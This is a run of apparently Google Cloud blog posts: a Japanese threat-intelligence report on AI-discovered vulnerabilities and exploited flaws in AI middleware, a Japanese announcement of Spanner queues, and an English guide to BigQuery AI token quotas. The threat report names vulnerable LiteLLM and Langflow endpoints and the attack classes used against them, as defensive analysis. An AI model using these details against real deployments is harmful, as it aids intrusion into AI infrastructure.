表 1: リスク評価別の脆弱性の割合 - AI による発見と AI 以外による発見の比較 - 2026 年 1 月～8 月（出典: GTIG）

従来の CVE 開示は、重大度の低い検出結果が大部分を占めています（低脅威リスクが 69%、中脅威リスクが 28%）。対照的に、AI が発見した脆弱性ではこの分布が逆転します。58% が中脅威リスクに該当し（ベースラインの 2 倍以上）、低リスクの検出結果は 39% に減少します。

この分布は、研究プログラムでこれらのシステムの対象範囲設定とデプロイがどのように行われているかを大きく反映していると考えられます。研究者は、外観上の欠陥やコンプライアンス警告を検出するための広範な自動スキャンを実行するのではなく、自律型エージェントに重要インフラと機密性の高い権限境界の監査を意図的に指示し、影響の大きい検出結果に焦点を当てています。Mandiant は、クライアントのコードベースのポイントインタイム評価で専門的な Agentic Vulnerability Discovery Harness（AVDH）を使用した場合にも、同様の結果が得られたことを報告しています。

AI が発見した脆弱性と AI が発見していない脆弱性の違いは、悪用の結果という点でも明らかです。リモートコード実行（RCE）につながる脆弱性は、AI が発見した脆弱性のうち、ちょうど 50% ですが、広範な CVE エコシステム全体ではわずか 26% です。逆に、AI エージェントは影響の小さいカテゴリでは脆弱性発見率が低く、情報開示（8% 対 18%）とデータ操作（5% 対 9%）の脆弱性発見率は、AI が発見したと特定されなかった脆弱性の半分以下でした。

コード実行に集中しているのは、フロンティア エージェントの動作方法に起因していると考えられます。自律システムは、コア C/C++ ライブラリ、ランタイム、ハイパーバイザにわたる複雑なマルチステップのセマンティック コードパスをナビゲートするように設計されています。AI モデルは、ファジング ハーネスの合成、メモリ状態のモデル化、不明瞭なエッジケース ロジックの連鎖により、従来の静的アナライザでは一貫して検出できなかったメモリ破損（バッファ オーバーフロー、解放後の使用）やロジック バイパスを特定することに優れています。

AI が発見した脆弱性の悪用が確認されたことは、現時点では、確立された傾向というよりは初期の兆候ですが、AI が発見した欠陥によるリスクの増大が単なる理論上の話ではないことを示しています。

注目すべき事例は、CVE-2026-1731 です。これは、サードパーティのリサーチ エージェント（Hacktron AI）が自律的に発見した、BeyondTrust Privileged Remote Access（PRA）および Remote Support の未認証 OS コマンド インジェクションの欠陥です。開示後、GTIG は、脅威アクターがこの脆弱性を標的型初期アクセス キャンペーンで武器化し、企業の境界をバイパスしていることを確認しました。具体的には、GTIG は、開示から 4 日以内にこの脆弱性を悪用する脅威クラスタを観察し、公開から 7 日以内にさらに 5 つの脅威クラスタを観察しました。GTIG は、これらの脅威アクターが、権限昇格、データの引き出し、二次ペイロード（SNOWLIGHT、SPARKRAT、クリプトマイナーなど）のドロップなど、悪用後にさまざまな活動を行っていることを確認しました。この運用上の衝突は、脅威アクターが積極的に悪用しようとしている影響の大きい脆弱性を、防御 AI エージェントが発見していることを浮き彫りにしています。

AI を狙う: AI / LLM 運用スタックを標的とする脆弱性

AI スタックの脆弱性のアーキテクチャの内訳

企業による生成 AI の導入が加速するなかで、セキュリティ研究者と攻撃者の関心は、基盤となる AI 運用スタックの脆弱性にも向けられています。2025 年 1 月から 2026 年 8 月までのモニタリング期間中、GTIG は AI 関連の CVE 開示を累計 2,076 件追跡しました。2026 年 1 月から 2026 年 8 月までの期間だけでも、8 つのコア アーキテクチャ レイヤで 1,500 件を超える脆弱性が特定されています。

表 2: AI システムを標的とした脆弱性の内訳（出典: GTIG）

新たな戦場: オーケストレーションと推論

2026 年 1 月から 8 月にかけて、AI アプリケーションの脆弱性の開示は、エージェント オーケストレーション フレームワーク、バックエンド サービング インフラストラクチャ、エンタープライズ AI ゲートウェイの 3 つの主要領域に集中していました。

• エージェント オーケストレーションが主なチョークポイントに: オーケストレーション ミドルウェアは、AI 関連のすべての欠陥の 50% を占め、2026 年には開示件数が 347% 急増しています。ビジュアル ワークフロー ビルダー（Flowise、Langflow など）や自律型フレームワークは、環境とのやり取りを容易にするために、動的なコード実行ノードをデプロイすることがよくあります。攻撃者は、プロンプト インジェクションや細工されたワークフロー JSON を介してこれらのノードを悪用し、実行ループをハイジャックして、自然言語プロンプトを認証されていないリモートコード実行に変換します。

• 一元化された AI ゲートウェイとクラウドのラテラル ムーブメント: 企業の AI ゲートウェイは、壊滅的な二重脅威ベクトルとなります。アプリケーション レイヤでは、侵害されたゲートウェイにより、サードパーティのアプリケーション プログラミング インターフェース（API）キーや、個人を特定できる情報（PII）または独自のソースコードを含むプライベート プロンプト ストリームが漏洩します。インフラストラクチャ レイヤでは、このようなゲートウェイが、攻撃者がデータベースの認証情報を収集し、内部のクラウド環境へのラテラル ムーブメントを行うための最初の足がかりとなります。

• 新たな境界としての推論ゲートウェイ: バックエンド サービング インフラストラクチャ（vLLM、Triton、LiteLLM、Ollama など）全体で、2026 年に 212 件の脆弱性が開示されました。これらの欠陥の約 4 分の 1（24%）は、認証されていない API エンドポイントまたはサーバーサイド リクエスト フォージェリ（SSRF）に直接起因しています。これにより、リモートの攻撃者は、境界ファイアウォールをバイパスしたり、コストの高い GPU コンピューティング リソースを枯渇させたり、独自のモデル チェックポイントを抽出したりするための直接的なエントリ ポイントを得ることができます。

AI ミドルウェアの実際の脆弱性悪用

AI インフラストラクチャのゼロデイ脆弱性の悪用はまだ確認されていませんが、脅威アクターは、公開されているミドルウェアで新たに開示された脆弱性を積極的に悪用しています。しかし、累積 2,076 件の開示のうち、実際に悪用されたことが確認されている脆弱性はごくわずかです。これらの事例の中で、脅威リスクが高いと評価され、認証されていない RCE、コマンド インジェクション、任意のファイル書き込みが行われるものをいくつか特定しました。

1. CVE-2026-42271（BerriAI LiteLLM）: Model Context Protocol（MCP）サーバーのプレビュー エンドポイント（POST /mcp-rest/test/connection）におけるコマンド インジェクションにより、ホストの乗っ取りや API 認証情報の盗難が行われます。

2. CVE-2026-5027（Langflow）: POST /api/v2/files アップロード ハンドラにおけるパストラバーサル ファイルの書き込みにより、リモートの脅威アクターが不正なファイル（cron ジョブ、Secure Shell（SSH）キーなど）をホストにドロップできるようになります。

3. CVE-2025-3248（Langflow）: /api/v1/validate/code で exec() を介して認証されていない Python コードが挿入され、即時の RCE が可能になります。

今後の展望

GTIG は、脆弱性の発見と悪用の割合が短中期的に増加し続ける可能性が高いと予測しています。5 月の AI 脅威トラッカーなどの他の調査では、生成 AI で開発されたゼロデイ エクスプロイト スクリプトを所有する脅威アクターの最初の既知の事例を報告しました。実際の攻撃が実行される前の作戦計画段階で阻止されましたが、エクスプロイトの構造的アーティファクトを分析したところ、高い信頼度の LLM 生成マーカーが検出されました。9 月の AI 脅威トラッカーでは、脅威アクターがリソースを共有し、エージェント型の脆弱性発見ツールのプロトタイプを作成していることを指摘しました。

AI によって強化された脆弱性発見と、AI インフラストラクチャおよびテクノロジーを標的とした脆弱性の両方について、一般公開されているデータはまだ初期段階にあります。それでも、AI が脆弱性の発見に貢献していることを示す兆候は現れ始めています。自律型リサーチ エージェントは、重要な攻撃対象領域を対象とするように指示された場合、重大度の高い欠陥を検出する優れた能力を発揮します。エージェント ワークフローは、複雑なセマンティック コードパスについて推論し、動的な証明ハーネスを合成することで、コア ライブラリやランタイムにおけるメモリ破損やロジック バイパスを特定することに優れています。これにより、高度な攻撃者が積極的に悪用しようとする欠陥の正確な種類が明らかになります。

脅威アクターが AI システムの脆弱性を実際に悪用し始めているため、組織は AI セキュリティを後回しにできません。この環境全体を保護するには、即時の封じ込め戦略、自律型エージェント ワークロードのサンドボックス化、リスクベースの脆弱性の管理の実装により、新たな境界を防御する必要があります。

現時点では、脅威アクターがゼロデイと N デイの悪用をスケールアップする前に、サイバーセキュリティ コミュニティが防御を強化できる側面は 2 つあります。第一に、組織は、開示された脆弱性の優先順位付けと修復の方法をモダナイズする必要があります。別のブログ投稿で、Mandiant は、防御者が攻撃者による攻撃までの時間の短縮に対抗できるよう、AI を活用した脆弱性管理を実装するためのブループリントを提示しました。第二に、他の企業や消費者にソフトウェアやサービスを提供する組織は、AI で強化されたコードレビューを社内で積極的に実施し、本番環境にリリースされて悪用可能な脆弱性になる前に欠陥を特定して修正する必要があります。Google AI Threat Defense に統合した、CodeMender などのエージェント型防御機能を活用して、デベロッパー ワークフロー全体でコードを継続的に監査してパッチを適用することが重要になります。プレリリース版の AI コードレビューが標準的なベスト プラクティスになれば、脆弱性の開示件数の増加率は最終的に鈍化する可能性があります。

- Google Threat Intelligence Group

※この投稿は米国時間 2026 年 10 月 3 日に、Google Cloud blog に投稿されたものの抄訳です。

AI エージェントは、クエリに回答するだけでなく、自律的に払い戻しを行ったり、在庫を管理したり、複数ステップのハンドオフを実行したり、サブエージェントをオーケストレートしたりできます。これらは、複雑なエージェント型ワークフローのほんの一例です。そのため、多くの場合、エージェントは運用データベースで内部状態を維持しながら、別のメッセージング システムやイベントキュー システムを介して非同期アクションをディスパッチする必要があります。残念ながら、これらのアプリケーションを構築するチームにとって、commit ポイントが異なる 2 つのシステムを管理することは、エージェント システムにおけるトランザクションの一貫性を破壊することになります。

このたび、Spanner キューの一般提供が開始されました。これは、Spanner に直接組み込まれたネイティブなトランザクション メッセージング機能です。Spanner キューは、信頼性の高いエージェント実行に特化して設計されており、メッセージの作成はトランザクションにおける単なる書き込み操作にすぎません。エージェントの状態変更と、意図したダウンストリーム アクションは、アトミックにまとめて commit されるか、完全に失敗します。

これを従来のアプローチと比較してみましょう。データベースの状態の更新は成功したものの、アクションのディスパッチが失敗した場合、AI エージェントは行動を決定したにもかかわらず、実際には実行されないという状態になります。メッセージのディスパッチが成功しても、状態トランザクションがロールバックされると、エージェントは無効な状態に基づいてアクションを実行します。非同期のマルチエージェント調整では、再試行、投機的実行、競合状態によってこれらの障害が増幅され、開発者は複雑なアウトボックス パターン、べき等性レイヤ、データ整合ワーカーを構築せざるを得なくなります。これは、エージェント アーキテクチャにおける信頼性担保のための大きな負担となります。

エージェント アーキテクチャの主な機能

Spanner キューは、インフラストラクチャのオーバーヘッドを発生させることなく、こうした複雑な非同期ワークフローをサポートするいくつかのコア機能を提供します。

アトミックな「意思決定とアクション」のエンキュー。単一の Spanner 読み取り / 書き込みトランザクション内で、エージェントは内部メモリまたは状態テーブルを更新し、同時にピア エージェントへのタスクをエンキューできます。Spanner の厳格な直列化可能性とグローバルな外部整合性に支えられ、状態の変化と実行インテントは 1 つのアトミックな単位として commit されます。

スケジュール実行と遅延実行。キュー メッセージは、commit 時にすぐにディスパッチすることも、将来の配信をスケジュールすることもできます。遅延再試行、スケジュールされたエージェント チェックイン、SLA エスカレーション タイマーなどのエージェント型パターンは、外部の cron スケジューラやポーリング インフラストラクチャを必要とせずに、メモリの更新とともにトランザクション的にエンキューできます。

エージェント ワーカー向けのストリーミング SQL pull。自律型エージェントは、ストリーミング SQL 読み取りを使用してタスクを動的に取り込んで処理します。エージェント ランタイムは、受信タスクをストリーミングしながら、処理能力に空きができ次第それらを処理し、トランザクション内でタスクの完了を確認応答（ACK）することで、エンドツーエンドのタスク実行状態の信頼性を保証します。

エピソード記憶の永続性とハンドオフ。エージェント メモリの更新（長期的なエピソードの要約、内省的な状態遷移、サブエージェント間のコンテキストのハンドオフなど）は、キューを介して非同期かつトランザクション的に永続化できます。これにより、リアルタイムのインタラクティブなターンをブロックすることなく、エージェントの内部メモリが実行履歴と完全に同期された状態に保たれます。

Spanner キューが自律型エージェントに不可欠な理由

トランザクションによる exactly-once のエージェント実行: エージェントがツール呼び出しの結果を評価すると、状態の変更、推論の永続化、ダウンストリーム ツール呼び出しタスクが 1 つのトランザクションに保存されます。少なくとも 1 回の配信と、最大 1 回の ACK を保証することで、exactly-once の処理を実現できます。

堅牢なマルチエージェント オーケストレーションとハンドオフ: マルチエージェント システム（A2A）では、プライマリ エージェントからスペシャリスト エージェントへの状態のハンドオフは、永続的でトランザクション的に commit されたメッセージとして処理されます。スペシャリスト エージェント ワーカーは、エージェント間のやり取りの完全に監査可能なリネージを維持しながら、配信されたメッセージを受信します。

ファースト クラスのタイムアウトと人間参加型ワークフロー: エージェント ワークフローでは、人間の承認やスケジュールされたフォローアップのために一時停止が必要になることがよくあります。Spanner キューはタイムアウト管理をネイティブに処理します。単一のトランザクションが承認待ち状態を記録し、自動エスカレーション メッセージをスケジュールして、どちらか先にトリガーされた方の処理を確定させます。

エージェント キューの SQL ネイティブなオブザーバビリティ: 処理中のエージェント ワークロードの検査、タスク バックログのモニタリング、エージェント実行履歴の監査は、キューテーブルに対する標準 SQL クエリで実行できるため、中身の見えないメッセージストアのブラックボックス化を防ぐことができます。

エージェント ワークフローの先

AI エージェント以外にも、Spanner キューは、さまざまな従来のイベント ドリブン アーキテクチャに対応する柔軟な多目的メッセージング プラットフォームとして機能します。ソーシャル アプリケーションでのリアルタイムのアクティビティ フィードの強化、ニュース配信でのライブ情報の提供、小売業での注文処理と在庫ワークフローのオーケストレーション、金融サービスでの高スループットの非同期タスク処理とトランザクション通知の処理など、Spanner キューは、プライマリ データベース内での非同期メッセージ配信とトランザクション イベント ドリブン ワークフローのための堅牢な基盤を提供します。

仕組み: Spanner キューのトランザクション メカニズム

Spanner キューは Spanner のファースト クラスのリレーショナル構造として表されるため、使い慣れた GoogleSQL を使用してキューを定義、検査、管理できます。

1. キューの定義とアトミックなエンキュー

エージェントが顧客への払い戻しを承認すると、単一の ACID トランザクション内で Orders テーブルを更新し、OrderAgentTasks キューに実行タスクをディスパッチします。

これにより、注文ステータスが REFUND_APPROVED に正常に移行した場合に限り、EXECUTE_REFUND タスクが存在するようになります。

2. 時間的スケジューリングとアトミックなキャンセル

エスカレーション前にマネージャーの承認を最大 72 時間待つなど、時間に依存するワークフローの場合、エージェントはシステム DeliverTime 列に値を入力して、メッセージの可視性を遅らせます。

マネージャーが 4 時間後にリクエストを承認した場合、アプリケーションは数日後に発生するファントム エスカレーション アラートに対処する必要はありません。1 回のトランザクションで、標準 SQL DELETE を使用して注文ステータスを更新し、保留中のエスカレーション タスクをキャンセルします。

3. ストリーミング消費、リースの更新、アトミックな確認応答

ダウンストリーム エージェント ワーカーは、ストリーミング SQL 接続（ExecuteStreamingSql）経由で RECEIVE_<QueueName> テーブル値関数（TVF）を使用してタスクを消費します。Spanner はメッセージ リースを自動的に管理し、リースされたタスクごとに一意の SpannerLeaseToken と有効期限のタイムスタンプを返します。

AI エージェントのタスクには、デフォルトのリース期間よりも長い時間を要するマルチターン LLM 推論や外部 API 呼び出しが含まれることが多いため、ワーカーは RENEWLEASE_<QueueName> 関数を使用してリースを積極的に延長できます。

エージェントは、外部ツールの実行を完了すると（このとき TaskId を外部 API のべき等キーとして渡します）、読み取り / 書き込みトランザクションを開いて最終状態を記録し、ASSERT_ROWS_MODIFIED 1 を使用してメッセージを削除することで確認応答（ACK）を行います。

ASSERT_ROWS_MODIFIED 1 を使用すると、リースの期限切れに伴う競合状態からシステムを保護できます。ネットワークの一時停止が原因でワーカーが停止し、リースが期限切れになった場合、別のワーカーがすでにタスクを処理して削除している可能性があります。停止したワーカーが再開してステートメントを実行しようとすると、ASSERT_ROWS_MODIFIED 1 は、キュー行がすでに存在しないことを検出し、ステートメント レベルのエラーをスローします。このエラーをキャッチしてトランザクションを中止することで、古いワーカーが新しいデータベースの状態を上書きするのを防ぎます。

Spanner 変更ストリームと Spanner キューの比較

Spanner の変更ストリームは、データベースのデータ変更（挿入、更新、削除）を準リアルタイムでキャプチャし、ダウンストリームの統合や監査に提供します。変更ストリームとキューはどちらも、アプリケーションがデータの変更を検知して処理できるようにするものですが、Spanner の変更ストリームは、継続的な変更データ キャプチャ（CDC）や、ダウンストリームの分析 / ストレージへのデータ ストリーミング向けに設計されています。一方、Spanner キューは、トランザクション タスクのオーケストレーション向けに明示的に設計されており、ネイティブ メッセージ リース、スケジュール配信、SQL ベースの pull、読み取り / 書き込みトランザクション内でのアトミックな確認応答をサポートしています。

使ってみる

Spanner は、リレーショナル、ハイブリッド検索、グラフ、Key-Value の機能を厳格なグローバル整合性の下で組み合わせ、エージェント データのための統合された基盤を提供します。Spanner キューは、エージェントが単一の統合プラットフォーム内でデータの推論からトランザクション アクションの実行にシームレスに移行できるようにすることで、エージェント ループを完成させます。Spanner キューの一般提供が開始されました。

Spanner の 90 日間無料トライアルに登録し、公開ドキュメントをお読みください。Spanner データベースにキューテーブルを作成して、復元力のある exactly-once のエージェント ワークロードの構築を今すぐ開始できます。

- プロダクト マネージャー、Nitin Sagar

- エンジニアリング マネージャー兼 Cloud Spanner データ ストリーミング リード、Matthew Mucklo

The generative AI functions in BigQuery (AI.GENERATE, AI.IF, AI.CLASSIFY, AI.SCORE, and more) bring large language models (LLMs) directly into your SQL, so a single query can classify millions of support tickets or score each product review for sentiment. However, because these functions are billed by the token, scaling them across massive datasets highlights the importance of managing your budget proactively. 

We recently announced the general availability (GA) of token-based cost management for BigQuery generative AI functions: daily quotas that let administrators set self-serve guardrails on AI token consumption, so teams can innovate while staying within your budget. In this blog, we provide an overview of cost management for BigQuery generative AI functions, walk through a few practical examples, and share resources to help you get started. Let’s jump in.  

Quotas for managing costs

Four daily quotas, managed through the Google Cloud Identity and Access Management (IAM) quota system, provide controls at the project level and the per-user level. Per-user limits apply to each user within a project, not across your organization.

Key details:

• The quotas are global. Usage is summed across all regions, so costs can't pile up unnoticed in a region you weren't watching.

• Output quotas include "thinking" tokens. Reasoning tokens count toward your output quota, just as they count toward your Gemini platform bill.

Which functions are covered?

The quotas apply to these BigQuery functions that perform LLM-backed generation:

• AI.GENERATE

• AI.GENERATE_TABLE

• AI.GENERATE_TEXT (and its alias ML.GENERATE_TEXT)

• AI.CLASSIFY

• AI.IF

• AI.SCORE

• AI.AGG

What's not covered: Embedding functions such as AI.GENERATE_EMBEDDING (also available as ML.GENERATE_EMBEDDING) and AI.EMBED are not subject to these quotas, because they run on different, substantially cheaper models.

Managing your quotas

Administrators can view and adjust the quotas directly in the Google Cloud console as workloads change, with no support case required.

1. Navigate to IAM & Admin → Quotas & System Limits.

2. Filter by service and select BigQuery API.

3. Sort by the Name column to bring the four AI quotas to the top.

4. Find the quota, for example AI input tokens per day.

5. Open the three-dot menu and choose Edit quota.

From there:

• To tighten cost control, lower a quota. This takes effect immediately with no approval needed.

• To support higher usage, request an increase from the same page. Many requests are auto-approved; larger increases may go through a quick review.

You'll need the right permissions. You need one of: Owner, Editor, Quota Administrator (roles/servicemanagement.quotaAdmin), or Service Usage Admin (roles/serviceusage.serviceUsageAdmin).

Prefer automation? You can also manage these quotas programmatically through the Cloud Quotas API, the gcloud CLI, and Terraform to apply consistent guardrails across projects.

Monitoring usage

Beyond setting limits, the Quotas & System Limits page displays your historical token consumption so you can quickly detect spikes and right-size your budgets. Use these trends to see how new generative AI workloads and data pipelines affect your overall token usage.

For a step-by-step walkthrough, see the BigQuery documentation on controlling costs with token quotas.

Token quotas vs. billing spend caps

Token quotas aren't the only cost guardrail in Google Cloud.

• Token quotas (this feature) are preventive and AI-specific. BigQuery tracks token usage during query execution and stops work close to the limit, with separate limits per project and per user.

• Cloud Billing spend caps operate on dollars at the project and service level and can automatically block usage when a threshold is reached. They're a broad, financial backstop rather than a precise usage control, and because enforcement is not instant, some overages are incurred.

Use token quotas as your first line of defense for AI spend, and a spend cap as a project-wide safety net.

How enforcement works

Quotas are enforced by stopping work rather than letting a query run past your limit. A query is rejected up front with a QuotaExceeded error only if a quota it needs is already exhausted. Otherwise, it starts, and if a quota runs out mid-query, BigQuery stops sending new LLM calls:

• Functions that support max_error_ratio (such as AI.IF) return partial results if unprocessed rows stay within the ratio, and otherwise fail.

• General-purpose functions (such as AI.GENERATE) still succeed. Skipped rows have no generated value, and their status field contains the quota-exceeded error.

For details, see quota enforcement behavior in the documentation.

Sizing your input data: AI.COUNT_TOKENS

To choose quota values, it helps to know how much text your workloads send to a model. The AI.COUNT_TOKENS function helps with this.

AI.COUNT_TOKENS returns the number of tokens a model's tokenizer produces for a text string, without making a billable generation call. Run it over a column to measure your input data:

The count is a lower bound on input tokens. It doesn't include output or thinking tokens, the instructions each AI function adds around your input, or non-text inputs such as images. Use it to:

• Gauge the input side of a workload before you launch it.

• Right-size your quotas together with a small sample run that measures actual input and output usage.

• Translate tokens into dollars using the published Gemini platform pricing for your model.

From tokens to budget: a worked example

Suppose you want to keep a project's daily AI spend around $100 with the Gemini 3.1 Flash-Lite model. As of today's published pricing (BigQuery processes in batch which provides a 50% discount):

• Input tokens: $0.125 per 1 million tokens

• Output tokens (response + reasoning): $0.75 per 1 million tokens

If a small sample run shows an average 100:1 input-to-output token ratio, you can solve for a daily budget:

Solving gives about 754 million input tokens and 7.54 million output tokens per day. Set AI input tokens per day and AI output tokens per day to these values to hold the project near $100/day. If a project uses models with different prices, budget per model or blend the rates.

Best practices for managing AI cost

• Start with per-user quotas. They stop one user or runaway experiment from draining the project's budget.

• Measure before you scale. Use AI.COUNT_TOKENS to size your input, then check a small sample run in the usage chart before setting limits.

• Mind the output side. Output tokens cost more. Where a function accepts max_output_tokens, set it to bound generation length.

• Monitor and iterate. Adjust limits as real usage and budgets change.

Get started

Token-based cost management is available now. To begin:

1. Open IAM & Admin → Quotas & System Limits in the Google Cloud Console and filter by BigQuery API.

2. Review the four AI-related token quotas and set limits that match your budget.

3. Use AI.COUNT_TOKENS to size your input data.

For the full details, see the documentation on controlling generative AI costs.

With token-based guardrails in place, your teams can use generative AI in BigQuery with the cost predictability your organization needs.